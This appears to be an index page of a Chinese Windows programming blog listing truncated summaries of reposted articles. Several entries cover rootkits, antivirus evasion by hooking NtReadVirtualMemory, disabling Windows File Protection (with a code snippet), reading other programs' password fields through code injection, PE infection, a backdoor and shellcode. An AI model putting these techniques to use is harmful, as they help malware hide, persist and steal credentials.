includelib f:\masm32\lib\w2k\ntoskrnl.lib
include f:\masm32\Macros\Strings.mac
;**************************************************************************************************
閱讀全文
WMI監(jiān)視注冊(cè)表
摘要: Set wmiServices = GetObject("winmgmts:root/default")
Set wmiSink = WScript.CreateObject("WbemScripting.SWbemSink", "SINK_")
wmiServices.ExecNotificationQueryAsync wmiSink, _
"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND " & _
"KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'"
WScript.Echo "Listening..." & vbCrLf
While(1)
WScript.Sleep 1000
Wend
Sub SINK_OnObjectReady(wmiObject, wmiAsyncContext)
WScript.Echo "R
閱讀全文
暫停Windows文件保護(hù)
摘要: #include <stdio.h>
#include <windows.h>
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
HINSTANCE hmod=LoadLibrary("sfc_os.dll");
CPP SetSfcFileException;
// the function is stored at the fifth ordinal in sfc_os.dll
SetSfcFileException= (CPP)GetProcAddress(hmod,(LPCSTR)5);
SetSfcFileException(0, L"c:\\windows\\system32\\calc.exe",-1);
//Now we can modify the system file in a complete stealth.
閱讀全文
編寫(xiě)進(jìn)程/線(xiàn)程監(jiān)視器(ZT)
摘要: 有時(shí)候我們希望能夠動(dòng)態(tài)監(jiān)視系統(tǒng)中任意進(jìn)程/線(xiàn)程的創(chuàng)建與銷(xiāo)毀。為了達(dá)
到此目的我翻閱了 DDK 手冊(cè),發(fā)現(xiàn)其提供的 PsSetCreateProcessNotifyRoutine(),
PsSetCreateThreadNotifyRoutine(),等函數(shù)可以實(shí)現(xiàn)此功能。這兩個(gè)函數(shù)可以
通過(guò)向系統(tǒng)注冊(cè)一個(gè) CALLBALCK 函數(shù)來(lái)監(jiān)視進(jìn)程/線(xiàn)程等操作。函數(shù)原形如下:
NTSTATUS
PsSetCreateProcessNotifyRoutine(
IN PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
IN BOOLEAN Remove
);
......................
閱讀全文
SSDT Hook 的妙用-對(duì)抗 Ring0 Inline Hook(ZT)
摘要: 1,SSDT
SSDT即系統(tǒng)服務(wù)描述符表,它的結(jié)構(gòu)如下(參考《Undocument Windows 2000 Secretes》第二章):
typedef struct _SYSTEM_SERVICE_TABLE
{
PVOID ServiceTableBase; //這個(gè)指向系統(tǒng)服務(wù)函數(shù)地址表
PULONG ServiceCounterTableBase;
ULONG NumberOfService; //服務(wù)函數(shù)的個(gè)數(shù),NumberOfService*4 就是整個(gè)地址表的大小
ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,*PSYSTEM_SERVICE_TABLE;
.........
閱讀全文
對(duì)抗殺毒軟件的內(nèi)存掃描(ZT)
摘要:
通過(guò)對(duì) NtReadVirtualMemory 掛鉤,防止其他進(jìn)程對(duì)保護(hù)的模塊進(jìn)行掃描,
如果發(fā)現(xiàn)其他進(jìn)程讀被保護(hù)模塊的內(nèi)存,則返回0
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
.........
閱讀全文
實(shí)用級(jí)反主動(dòng)防御rootkit設(shè)計(jì)思路(ZT)
摘要:
目錄:
反主動(dòng)防御rootkit的產(chǎn)生背景及其必要性
反網(wǎng)絡(luò)訪問(wèn)主動(dòng)防御
反API鉤子進(jìn)程行為主動(dòng)防御
反系統(tǒng)Notify進(jìn)程行為主動(dòng)防御
繞過(guò)監(jiān)控進(jìn)入ring0安裝驅(qū)動(dòng)
實(shí)用級(jí)反主動(dòng)防御rootkit的通用性問(wèn)題
..............
閱讀全文
從PE文件入手繞過(guò)IAT HOOK(ZT)
摘要:
API HOOK估計(jì)沒(méi)必要多介紹了,簡(jiǎn)單的來(lái)講就是通過(guò)某種方式來(lái)改變API函數(shù)的工作流程.一般來(lái)講有兩種方法:IAT HOOK和INLINE HOOK.前一種應(yīng)用較為廣泛,一方面因?yàn)楹?jiǎn)單,還一方面因?yàn)榉€(wěn)定.他的原理就是改寫(xiě)進(jìn)程空間中要HOOK的API所在模塊的函數(shù)引入表,使之指向替換原 API函數(shù)的函數(shù)地址(某些木馬就是利用IAT HOOK的方式,掛鉤NtQuerySystemInformation的方式來(lái)實(shí)現(xiàn)進(jìn)程隱藏).這里感覺(jué)還是有必要再說(shuō)一點(diǎn)INLINE HOOK,這個(gè)復(fù)雜點(diǎn),直接進(jìn)入被HOOK的API函數(shù)內(nèi)部去修改他,采用指令call或者jmp等,迫使API改變流程,跳到自己的替換函數(shù)中.通常都是在函數(shù)頭部前10個(gè)字節(jié)內(nèi)修改.
...............
閱讀全文
應(yīng)用層InLine Hook(ZT)
摘要: 1.得到本進(jìn)程中包含被掛接API的DLL的基地址,該DLL代碼節(jié)的虛擬偏移以及該API的入口地址.API入口地址-(代碼節(jié)虛擬偏移+DLL基地址)=函數(shù)入口相對(duì)于代碼節(jié)的偏移
2.得到目標(biāo)進(jìn)程的PID,以及目標(biāo)進(jìn)程包含被掛接API的DLL的基地址(注意一般來(lái)說(shuō)和前面自身進(jìn)程的值相同)前面得到的函數(shù)入口偏移+DLL基地址+代碼節(jié)虛擬偏移=目標(biāo)進(jìn)程API函數(shù)入口地址
3.打開(kāi)目標(biāo)進(jìn)程讀目標(biāo)進(jìn)程API函數(shù)入口處128字節(jié)代碼到自身進(jìn)程的變量中.然后調(diào)用z0mbie寫(xiě)的LDE32庫(kù)取該API函數(shù)入口處幾個(gè)指令的長(zhǎng)度當(dāng)長(zhǎng)度>=5時(shí)保存該長(zhǎng)度(這樣防止后面取指令沒(méi)有對(duì)齊)
4.為我們的假函數(shù)在目標(biāo)進(jìn)程加載的DLL中分配空間(我是把代碼寫(xiě)在PE頭的后面)這兒要改該內(nèi)存的屬性為讀寫(xiě)執(zhí)行(PAGE_EXECUTE_READWRITE).為了方便編譯我們的假函數(shù)是寫(xiě)在代碼段中的,在運(yùn)行時(shí)要把這些代碼移到數(shù)據(jù)段,然后把第3步取出的指令放在數(shù)據(jù)段中相應(yīng)的偏移處.同時(shí)還要在數(shù)據(jù)段中設(shè)置跳回真實(shí)函數(shù)的JMP指令.
5.把真正的API開(kāi)頭的指令改為JMP到我們的假函數(shù)中.
.
閱讀全文
什么是PE文件及PE文件的結(jié)構(gòu)和簡(jiǎn)述(ZT)
摘要:
一個(gè)操作系統(tǒng)的可執(zhí)行文件格式在很多方面是這個(gè)系統(tǒng)的一面鏡子。雖然學(xué)習(xí)一個(gè)可執(zhí)行文件格式通常不是一個(gè)程序員的首要任務(wù),但是你可以從這其中學(xué)到大量的知識(shí)。在這篇文章中,我會(huì)給出 MicroSoft 的所有基于 win32系統(tǒng)(如winnt,win9x)的可移植可執(zhí)行(PE)文件格式的詳細(xì)介紹。在可預(yù)知的未來(lái),包括 Windows2000 , PE 文件格式在 MicroSoft 的操作系統(tǒng)中扮演一個(gè)重要的角色。如果你在使用 Win32 或 Winnt ,那么你已經(jīng)在使用 PE 文件了。甚至你只是在 Windows3.1 下使用 Visual C++ 編程,你使用的仍然是 PE 文件(Visual C++ 的 32 位 MS-DOS 擴(kuò)展組件用這個(gè)格式)。簡(jiǎn)而言之,PE 格式已經(jīng)普遍應(yīng)用,并且在不短的將來(lái)仍是不可避免的。現(xiàn)在是時(shí)候找出這種新的可執(zhí)行文件格式為操作系統(tǒng)帶來(lái)的東西了。
我最后不會(huì)讓你盯住無(wú)窮無(wú)盡的十六進(jìn)制Dump,也不會(huì)詳細(xì)討論頁(yè)面的每一個(gè)單獨(dú)的位的重要性。代替的,我會(huì)向你介紹包含在 PE 文件中的概念,并且將他們和你每天都遇到的東西聯(lián)系起來(lái)。比如,線(xiàn)程局部變量
閱讀全文
C++字符串完全指引(ZT)
摘要: 許多關(guān)于字符串的問(wèn)題,在文章最后的參考文章中,相信有更加深入和精確的描述。不過(guò)關(guān)于中文的處理,我想先補(bǔ)充一些自己的看法。
背景:WIN32 console程序,使用printf輸出字符串。相信許多人都有使用過(guò)。
平臺(tái):VisualStudio.NET 2003(MFC 7.1)。
MBCS UNICODE
蔡 b2 cc 21 85
A 41 00 41 00
程序段1:使用std::string
#include
.........
閱讀全文
關(guān)于PE可執(zhí)行文件的修改(ZT)
摘要: 1、PE文件框架構(gòu)成
DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n
上表是PE文件結(jié)構(gòu)的總體層次分布。所有 PE文件(甚至32位的 DLLs) 必須以一個(gè)簡(jiǎn)單的 DOS MZ header 開(kāi)始,在偏移0處有DOS下可執(zhí)行文件的“MZ標(biāo)志”,有了它,一旦程序在DOS下執(zhí)行,DOS就能識(shí)別出這是有效的執(zhí)行體,然后運(yùn)行緊隨 MZ header 之后的 DOS stub。DOS stub實(shí)際上是個(gè)有效的EXE,在不支持 PE文件格式的操作系統(tǒng)中,它將簡(jiǎn)單顯示一個(gè)錯(cuò)誤提示,類(lèi)似于字符串 " This program cannot run in DOS mode " 或者程序員可根據(jù)自己的意圖實(shí)現(xiàn)完整的 DOS代碼。通常DOS stub由匯編器/編譯器自動(dòng)生成,對(duì)我們的用處不是很大,它簡(jiǎn)單調(diào)用中斷21h服務(wù)9來(lái)顯示字符串"This program cannot run in DOS mode"。
閱讀全文
Windows應(yīng)用程序捆綁核心編程(ZT)
摘要:
1.1 引言 1.2 內(nèi)存管理概述 1.3 虛擬內(nèi)存訪問(wèn)
1.4 文件的內(nèi)存映射 1.4 文件的內(nèi)存映射(2) 1.5 深入認(rèn)識(shí)指針的真正含義
1.6 本章小結(jié) 參考文獻(xiàn)
第2章 再談PE文件結(jié)構(gòu)
2.1 引言 2.2 PE文件格式概述 2.3 PE文件結(jié)構(gòu)
2.3 PE文件結(jié)構(gòu) 2.4 如何獲取PE文件中的OEP 2.5 PE文件中的資源
2.6 一個(gè)修改PE可執(zhí)行文件的完整實(shí)例(1) 2.6 一個(gè)修改PE可執(zhí)行文件的完整實(shí)例(2) 2.7 本章小結(jié)
參考文獻(xiàn)
第3章 進(jìn)程之間通信概述及初級(jí)技術(shù)
3.1 引言 3.2 進(jìn)程通信概述 3.3 使用自定義消息通信
3.4 使用WM_COPYDATA消息通信 3.4 使用WM_COPYDATA消息通信 3.5 使用內(nèi)存讀寫(xiě)函數(shù)和內(nèi)存映射文件通信
3.6 使用動(dòng)態(tài)鏈接庫(kù)通信 3.7 使用Windows剪貼板通信 3.
閱讀全文
Creating the smallest possible PE executable
摘要: Tiny PE
Creating the smallest possible PE executable
This work was inspired by the Tiny PE challenge by Gil Dabah. The object of the challenge was to write the smallest PE file that downloads a file from the Internet and executes it.
In the process of writing increasingly smaller PE files for the challenge I learned a lot of interesting details about the PE file format and the Windows loader. The goal of this document is to preserve this knowledge for future reference. In t
閱讀全文
vc的編譯參數(shù)優(yōu)化(ZT)
摘要:
/*
Author: void#ph4nt0m.org
*/
// 編譯器 cl.exe(Visual C++ 6.0)
// 沒(méi)有做任何優(yōu)化情況下,編譯大小為:16K
// 編譯優(yōu)化后: 1K (用16進(jìn)制編輯器把尾部的0x00去掉: 712bytes)
#include
#pragma comment(lib,"kernel32.lib")
// 作用: 指定節(jié)對(duì)齊為512字節(jié)
#pragma comment(linker, "/align:512")
..........
閱讀全文
向其他進(jìn)程注入代碼的三種方法(ZT)
摘要: 我們?cè)贑ode project(www.codeproject.com)上可以找到許多密碼間諜程序(譯者注:那些可以看到別的程序中密碼框內(nèi)容的軟件),他們都依賴(lài)于Windows鉤子技術(shù)。要實(shí)現(xiàn)這個(gè)還有其他的方法嗎?有!但是,首先,讓我們簡(jiǎn)單回顧一下我們要實(shí)現(xiàn)的目標(biāo),以便你能弄清楚我在說(shuō)什么。
要讀取一個(gè)控件的內(nèi)容,不管它是否屬于你自己的程序,一般來(lái)說(shuō)需要發(fā)送 WM_GETTEXT 消息到那個(gè)控件。這對(duì)edit控件也有效,但是有一種情況例外。如果這個(gè)edit控件屬于其他進(jìn)程并且具有 ES_PASSWORD 風(fēng)格的話(huà),這種方法就不會(huì)成功。只有“擁有(OWNS)”這個(gè)密碼控件的進(jìn)程才可以用 WM_GETTEXT 取得它的內(nèi)容。所以,我們的問(wèn)題就是:如何讓下面這句代碼在其他進(jìn)程的地址空間中運(yùn)行起來(lái):
::SendMessage( hPwdEdit, WM_GETTEXT, nMaxChars, psBuffer );
一般來(lái)說(shuō),這個(gè)問(wèn)題有三種可能的解決方案:
1. 把你的代碼放到一個(gè)DLL中;然后用 wind
閱讀全文
Inject your code to a Portable Executable file
摘要:
0序文
也許你想要了解一個(gè)病毒,注入到程序內(nèi)部并且感染他的方法,或者你對(duì)保護(hù)你特殊的PE文件的數(shù)據(jù)感興趣。你能使用這篇文章的源代碼構(gòu)建你自定義的EXE BUILDER。如果用在好的方面,他能教你怎樣保護(hù)或封裝加密你的PE文件,但是同樣如果你用在邪惡的方面,他能產(chǎn)生一個(gè)病毒。然而,我寫(xiě)這篇文章的目的是前者,所以,我不會(huì)為不道德的使用負(fù)責(zé)。
1預(yù)備知識(shí)
按照主題這篇文章不需要特殊的預(yù)備知識(shí),如果你已經(jīng)了解了DEBUGGER和文件結(jié)構(gòu),那么我建議你跳過(guò)2,3部分,這兩部分是為毫無(wú)基礎(chǔ)的人準(zhǔn)備的。
2.PE文件的結(jié)構(gòu)
規(guī)定PE文件的結(jié)構(gòu)為WINDOWS OS提供了最好的方式去執(zhí)行代碼,并且儲(chǔ)存一個(gè)程序運(yùn)行所需要的基本數(shù)據(jù)。例如常量,變量等等。
................
閱讀全文
VC編譯OCCI的解決方案
摘要: 1、增加接口。在OcciDml.hpp中增加extern "C" int __declspec(dllexport) funA(char* a); 在OcciDml.cpp中將函數(shù)聲明修改為extern "C" int __declspec(dllexport) funA(char* a)
2、修改頭文件。在需要引入的所有類(lèi)中,替換為
#ifndef OCCI_ORACLE
#define WIN32COMMON
#include "occi.h"
using namespace oracle::occi;
using namespace std;
#endif
否則會(huì)出現(xiàn)錯(cuò)誤如下:
d:\oracle\ora92\oci\include\occicontrol.h(1132) : error C2995: 'getVector' : template function has already been defined
d:\oracle\ora92\oci\include\occicommon
閱讀全文
扭曲變換加密(ZT)
摘要:
一,一般來(lái)講,加密就是加殼
我們經(jīng)常考慮,一個(gè)可執(zhí)行文件,怎么樣加密才能安全呢?
一般用的手段,是加殼。加殼工具的工作原理,就是把可執(zhí)行文件的代碼與
數(shù)據(jù)都進(jìn)行加密變換,作為數(shù)據(jù)存放。生成的目標(biāo)文件入口代碼是加殼軟件
準(zhǔn)備好的防跟蹤代碼。經(jīng)過(guò)漫長(zhǎng)的防跟蹤代碼后,會(huì)把原始可執(zhí)行文件的代碼
與數(shù)據(jù)段恢復(fù),然后跳轉(zhuǎn)到原來(lái)的入口處,繼續(xù)運(yùn)行。這樣做的缺點(diǎn)是,不管
你的加密多強(qiáng),防跟蹤代碼多牛,只要一運(yùn)行,在內(nèi)存中就全部恢復(fù)了。只要
把內(nèi)存映象dump下來(lái),反匯編一下,就清清楚楚了。甚至有工具可以直接把
dump下來(lái)的內(nèi)存映象存為可執(zhí)行文件。這樣加密就徹底失敗了。
......
閱讀全文
OllyDbg Format String 0day分析和利用(ZT)
摘要:
OD作為一款Ring3下的調(diào)試器以?xún)?yōu)異的性能博得了廣大密界愛(ài)好者的一致肯定,就在最近milw0rm上公布了一個(gè)OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前寫(xiě)了很多棧溢出的漏洞,卻很少有Format String的漏洞,這次OD給我們提供了一個(gè)熟悉Format String問(wèn)題的機(jī)會(huì)(只有原版的OD存在此問(wèn)題,看雪論壇的修改版OllyIce不存在此問(wèn)題)。
........
閱讀全文
編寫(xiě)Unicode有效的Shellcode(ZT)
摘要:
對(duì)于溢出愛(ài)好者來(lái)說(shuō),能夠編寫(xiě)Shellcode是一個(gè)必備的基本技能,特別是能應(yīng)對(duì)各種在實(shí)際情況中對(duì)Shellcode存在各種限制條件的時(shí)候,這種能力就顯得尤為重要了。黑防2007年第二期中介紹了純字母數(shù)字的Shellcode的編寫(xiě),在3期中的WinRAR 7z溢出中就派上了用場(chǎng)。Unicode大家應(yīng)該不陌生,在一些大型程序中,比如Word、Excel考慮到不同語(yǔ)言平臺(tái)的差異性,都會(huì)使用 Unicode,在利用這些漏洞的時(shí)候,我們以往的Shellcode就難以適用了。一個(gè)普通的Down&Exec的Shellcode經(jīng)過(guò) MultiByteToWideChar函數(shù)轉(zhuǎn)換成Unicode后
..........
閱讀全文
插入DLL和掛接API(ZT)
摘要:
每個(gè)進(jìn)程都有它自己的私有地址空間。當(dāng)使用指針來(lái)引用內(nèi)存時(shí),指針的值將引用你自己進(jìn)程的地址空間中的一個(gè)內(nèi)存地址,有些情況下,必須打破進(jìn)程的界限,訪問(wèn)另一個(gè)進(jìn)程的地址空間,這些情況包括:
...........
閱讀全文
內(nèi)核級(jí)利用通用Hook函數(shù)方法檢測(cè)進(jìn)程(ZT)
摘要:
介紹通用Hook的一點(diǎn)思想:
在系統(tǒng)內(nèi)核級(jí)中,MS的很多信息都沒(méi)公開(kāi),包括函數(shù)的參數(shù)數(shù)目,每個(gè)參數(shù)的類(lèi)型等。在系統(tǒng)內(nèi)核中,訪問(wèn)了大量的寄存器,而很多寄存器的值,是上層調(diào)用者提供的。如果值改變系統(tǒng)就會(huì)變得不穩(wěn)定。很可能出現(xiàn)不可想象的后果。另外有時(shí)候?qū)π枰狧ook的函數(shù)的參數(shù)不了解,所以不能隨便就去改變它的堆棧,如果不小心也有可能導(dǎo)致藍(lán)屏。所以Hook的最佳原則是在自己的Hook函數(shù)中呼叫原函數(shù)的時(shí)候,所有的寄存器值,堆棧里面的值和Hook前的信息一樣。這樣就能保證在原函數(shù)中不會(huì)出錯(cuò)。一般我們自己的Hook的函數(shù)都是寫(xiě)在C文件里面的。例如Hook的目標(biāo)函數(shù)KiReadyThread。
........
閱讀全文
WTS APIs(Windows終端服務(wù)API)獲取進(jìn)程信息(ZT)
摘要:
WTS APIs(Windows終端服務(wù)API)獲取進(jìn)程信息
Windows XP 有一個(gè)新特性叫做“快速用戶(hù)轉(zhuǎn)換——Fast User Switching”,這個(gè)特性允許多個(gè)用戶(hù)同時(shí)在一臺(tái)機(jī)器上登陸。當(dāng)一個(gè)用戶(hù)登陸后,另一個(gè)用戶(hù)啟動(dòng)的進(jìn)程仍然能夠運(yùn)行。這個(gè)神奇的特性所倚仗的是 WTS APIs。如果你想了解更多有關(guān) WTS 的內(nèi)容,可以參考 MSJ Oct99 的一篇文章:“Windows NT和 Windows 2000 終端服務(wù)APIs介紹”,作者是 Frank Kim。
Windows XP為每一個(gè)登陸用戶(hù)創(chuàng)建一個(gè)WTS會(huì)話(huà)(Session)。每個(gè)運(yùn)行進(jìn)程總是與這樣一個(gè)Session關(guān)聯(lián)。Windows XP的任務(wù)管理器允許你列出進(jìn)程清單,不論是針對(duì)所有會(huì)話(huà)的還是僅僅針對(duì)自己的會(huì)話(huà),任務(wù)管理器對(duì)話(huà)框的進(jìn)程標(biāo)簽中有一個(gè)"顯示所有用戶(hù)的進(jìn)程"復(fù)選框可以對(duì)此進(jìn)行選擇。
.................
閱讀全文
“黑客之門(mén)”后門(mén)的魅力(ZT)
摘要: “黑客之門(mén)”介紹
黑客之門(mén)采用的目前一些先進(jìn)的后門(mén)技術(shù),它只有一個(gè)Dll文件,通過(guò)感染系統(tǒng)文件啟動(dòng)自身,被感染的系統(tǒng)文件大小和日期都不會(huì)改變;同時(shí)采用線(xiàn)程插入技術(shù),本身沒(méi)有進(jìn)程;本身不開(kāi)端口,而是重用系統(tǒng)進(jìn)程開(kāi)的任意一個(gè)端口,如80,135,139,445等,因此它的隱藏性非常好,而且穿透防火墻也是很容易的事。這個(gè)版本文件不大,只提供一些很有用的命令。目前還沒(méi)有發(fā)現(xiàn)如何工具能查到這個(gè)后門(mén),象Fport,Llister,RKDetector等查工具都失效。
程序的自啟動(dòng)
既然是一個(gè)后門(mén),那么就要隨系統(tǒng)的啟動(dòng)而啟動(dòng),根據(jù)黑客之門(mén)的介紹,它是通過(guò)感染系統(tǒng)程序文件來(lái)實(shí)現(xiàn)程序的自啟動(dòng)的。既然是感染了系統(tǒng)文件(像病毒),那就看看感染前和感染后的系統(tǒng)文件的區(qū)別吧!為了測(cè)試感染前后的差別,我準(zhǔn)備了一個(gè)專(zhuān)門(mén)用來(lái)被感染的文件TestLoad.exe,它沒(méi)有什么功能,只是彈出一個(gè)對(duì)話(huà)框,這樣好等待測(cè)試,麻雀雖小,五臟俱全,省得動(dòng)系統(tǒng)文件了。接著運(yùn)行命令:
...................
閱讀全文
獲取通過(guò)終端登錄的當(dāng)前用戶(hù)winlogon進(jìn)程pid
摘要: /*此代碼用于獲取通過(guò)終端登錄的當(dāng)前用戶(hù)winlogon進(jìn)程pid
在開(kāi)了終端服務(wù)的機(jī)器上運(yùn)行沒(méi)問(wèn)題,沒(méi)有開(kāi)終端服務(wù)的得不到pid,自己修改吧
Author:009
Email:baicker.009(a)gmail.com
Web:http://www.aygfsteel.com/baicker
Date:20070720
*/
#include <stdio.h>
#include <windows.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")
void main()
{
DWORD ProcessId, SessionId;
BOOL Res=0;
DWORD winlogonPid = 0;
............
閱讀全文
淺析本機(jī)API(ZT)
摘要:
此文只能說(shuō)是一篇筆記,是關(guān)于本機(jī)API的.本機(jī)API是除了Win32 API,NT平臺(tái)開(kāi)放了另一個(gè)基本接口。本機(jī)API也被很多人所熟悉,因?yàn)閮?nèi)核模式模塊位于更低的系統(tǒng)級(jí)別,在那個(gè)級(jí)別上環(huán)境子系統(tǒng)是不可見(jiàn)的。盡管如此,并不需要驅(qū)動(dòng)級(jí)別去訪問(wèn)這個(gè)接口,普通的Win32程序可以在任何時(shí)候向下調(diào)用本機(jī)API。并沒(méi)有任何技術(shù)上的限制,只不過(guò)微軟不支持這種應(yīng)用開(kāi)發(fā)方法。
User32.dll,kernel32.dll,shell32.dll,gdi32.dll,rpcrt4.dll,comctl32.dll, advapi32.dll,version.dll等dll代表了Win32 API的基本提供者。Win32 API中的所有調(diào)用最終都轉(zhuǎn)向了ntdll.dll,再由它轉(zhuǎn)發(fā)至ntoskrnl.exe。ntdll.dll是本機(jī) API用戶(hù)模式的終端。真正的接口在ntoskrnl.exe里完成。事實(shí)上,內(nèi)核模式的驅(qū)動(dòng)大部分時(shí)間調(diào)用這個(gè)模塊,如果它們請(qǐng)求系統(tǒng)服務(wù)。 Ntdll.dll的主要作用就是讓內(nèi)核函數(shù)的特定子集可以被用戶(hù)模式下運(yùn)行的程序調(diào)用。Ntdll.dll通過(guò)軟件
閱讀全文
匯編ring3下實(shí)現(xiàn)HOOK API續(xù)之備份函數(shù)法(ZT)
摘要: 我曾經(jīng)寫(xiě)過(guò)一編文章,名字叫"匯編ring3下實(shí)現(xiàn)HOOK API",里面詳細(xì)介紹了匯編ring3下實(shí)現(xiàn)HOOK API的幾種方法,文章中著重介
紹了介紹了"改寫(xiě)內(nèi)存地址JMP法"的方法,這也是比較通用的一種方法,讓我們?cè)賮?lái)回顧一下改寫(xiě)內(nèi)存地址JMP法的具體方法::
直接跳轉(zhuǎn),改變API函數(shù)的入口或出口的幾個(gè)字節(jié),使程序跳轉(zhuǎn)到自己的函數(shù),該方法不受程序加殼的限制。這種技術(shù),說(shuō)起來(lái)也不
復(fù)雜,就是改變程序流程的技術(shù)。在CPU的指令里,有幾條指令可以改變程序的流程:JMP,CALL,INT,RET,RETF,IRET等指令。理
論上只要改變API入口和出口的任何機(jī)器碼,都可以HOOK,下面我就說(shuō)說(shuō)常用的改寫(xiě)API入口點(diǎn)的方法:
因?yàn)楣ぷ髟赗ing3模式下,我們不能直接修改物理內(nèi)存,只能一個(gè)一個(gè)打開(kāi)修改,但具體的方法又分成好幾種,我給大家介紹幾種操
作思路:
.......
閱讀全文
匯編ring3下實(shí)現(xiàn)HOOK API (ZT)
摘要:
=====[ 1. 內(nèi)容 ]=============================================
1. 內(nèi)容
2. 介紹
2.1 什么叫Hook API?
2.2 API Hook的應(yīng)用介紹
2.3 API Hook的原則
3. 掛鉤方法
3.1 改寫(xiě)IAT導(dǎo)入表法
3.2 改寫(xiě)內(nèi)存地址JMP法
4. 匯編實(shí)現(xiàn)
4.1. 代碼
4.2. 分析
5. 結(jié)束語(yǔ)
=====[ 2. 介紹 ]================================================
這篇文章是有關(guān)在OS Windows下掛鉤API函數(shù)的方法。所有例子都在基于NT技術(shù)的Windows版本NT4.0
及以上有效(Windows NT 4.0, Windows 2000, Windows XP)。可能在其它Windows系統(tǒng)也會(huì)有效。
你應(yīng)該比較熟悉Windows下的進(jìn)程、匯編器、和一些
閱讀全文
未公開(kāi)函數(shù)MessageBoxTimeOut 實(shí)現(xiàn)定時(shí)消息(ZT)
摘要: #include
#include
//Functions & other definitions required-->
typedef int (__stdcall *MSGBOXAAPI)(IN HWND hWnd,
IN LPCSTR lpText, IN LPCSTR lpCaption,
IN UINT uType, IN WORD wLanguageId, IN DWORD dwMilliseconds);
typedef int (__stdcall *MSGBOXWAPI)(IN HWND hWnd,
IN LPCWSTR lpText, IN LPCWSTR lpCaption,
IN UINT uType, IN WORD wLanguageId, IN DWORD dwMilliseconds);
int MessageBoxTimeoutA(IN HWND hWn 閱讀全文
關(guān)閉SFC[文件保護(hù)]的源代碼(ZT)
摘要: WindowsXP Professional SP2測(cè)試通過(guò).
.386
.Model Flat,StdCall
Option CaseMap :None
Include \Masm32\Include\Windows.inc
Include \Masm32\Include\User32.inc
Include \Masm32\Include\Shell32.inc
Include \Masm32\Include\Kernel32.inc
Include \Masm32\Include\Advapi32.inc
..........
閱讀全文
編程禁止Windows文件保護(hù)(ZT)
摘要: 這里要用到一個(gè)未公開(kāi)的API——SfcFileException,其聲明如下:
代碼:
DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);
參數(shù)說(shuō)明: dwUnknown0 未知,設(shè)為0
pwszFile 文件名
dwUnknown1 未知,設(shè)為-1
...........
閱讀全文
Load and Unload (ZT)
摘要: 一、前言
在前一段時(shí)間,我遭遇了一個(gè)現(xiàn)象詭異的Bug,最后原因歸結(jié)為在DllMain里錯(cuò)誤地調(diào)用了FreeLibrary(在本文最后對(duì)此Bug有詳細(xì)的解釋)。MSDN里關(guān)于禁止在DllMain里調(diào)用 LoadLibrary和FreeLibrary的解釋過(guò)于含糊不清,所以我重溫了一遍Russ Osterlund的"Windows 2000 Loader"一文,并仔細(xì)閱讀了泄漏的Win2000源代碼的相關(guān)部分。按照我一貫的習(xí)慣,我的閱讀過(guò)程形成了我這篇文章的主體。自從我2000年寫(xiě)了"ATL接口映射宏詳解" 以來(lái),我還沒(méi)寫(xiě)過(guò)這么大塊頭的文章。我不知道有多少人耐著性子看完了"ATL接口映射宏詳解",我猜想這篇文章的命運(yùn)也不會(huì)比它的前輩好多少。在這個(gè)技術(shù)更新越來(lái)越快的年代里,人們會(huì)對(duì)這種陷入實(shí)現(xiàn)細(xì)節(jié)的文章感到厭煩,而我自己在若干年后可能也不會(huì)有耐心和勇氣面對(duì)它,但文章最后對(duì)幾個(gè)問(wèn)題的解釋也還是有實(shí)用價(jià)值的,另外尋根究底的精神也總是應(yīng)該存在的。
..............
閱讀全文
Windows NT使用技巧、編程原理及程序示例(ZT)
摘要: 1. 利用Net User命令和Cacls命令做用戶(hù)管理
2. 利用At命令做日程管理
3. 利用用戶(hù)登錄腳本實(shí)現(xiàn)開(kāi)機(jī)提示
4. 利用Net Session命令實(shí)現(xiàn)登錄用戶(hù)統(tǒng)計(jì)
5. Windows NT局域網(wǎng)管理API函數(shù)庫(kù)(NETAPI)簡(jiǎn)介
6. 怎樣添加、刪除、配置用戶(hù)?
7. 怎樣修改用戶(hù)口令?
8. 怎樣編程實(shí)現(xiàn)用戶(hù)的注銷(xiāo)和關(guān)機(jī)?
9. 怎樣獲取所有登錄用戶(hù)列表?
10. 怎樣向用戶(hù)或計(jì)算機(jī)發(fā)送消息?
11. 怎樣實(shí)現(xiàn)遠(yuǎn)程關(guān)閉計(jì)算機(jī)?
12. UNICODE字符串和普通ASCII字符串怎樣轉(zhuǎn)換?
13. 如何獲取系統(tǒng)錯(cuò)誤信息?
14. 什么是Service(服務(wù))程序?
15. 如何使自己的應(yīng)用程序成為Service?
16. 如何編制Service程序?
..................
閱讀全文
LNK1103: debugging information corrupt; recompile module
摘要: Linking...
Creating library Debug/xxx.lib and object Debug/xxx.exp
uuid.lib(comcat.obj) : fatal error LNK1103: debugging information corrupt; recompile module
Error executing link.exe.
.........
閱讀全文
控制臺(tái)下輸出DLL的調(diào)試信息(ZT)
摘要: 在cmd.exe下運(yùn)行rundll32.exe mydll.dll,MyFunc ,本想直接在當(dāng)前cmd窗口輸出調(diào)試信息.
可因rundll32是Win32 GUI程序而非Win32 console,所以cmd.exe標(biāo)準(zhǔn)輸入輸出句柄無(wú)法被mydll.dll繼承用來(lái)向父進(jìn)程cmd.exe輸出數(shù)據(jù).
這時(shí), 如果用強(qiáng)行用GetStdHandle獲得句柄,然后用WriteConsole來(lái)進(jìn)行輸出,則會(huì)發(fā)生無(wú)效句柄錯(cuò)誤.
但是如果在這之前先AllocConsole,則可正常WriteConsole,但是會(huì)新建個(gè)控制臺(tái)窗口來(lái)輸出數(shù)據(jù),很不爽 :-P
有沒(méi)有什么辦法向當(dāng)前cmd.exe窗口輸出數(shù)據(jù)呢?
.............
閱讀全文
char *和char [ ]的區(qū)別(ZT)
摘要: 見(jiàn)程序如下:
#include "stdafx.h"
#include "string.h"
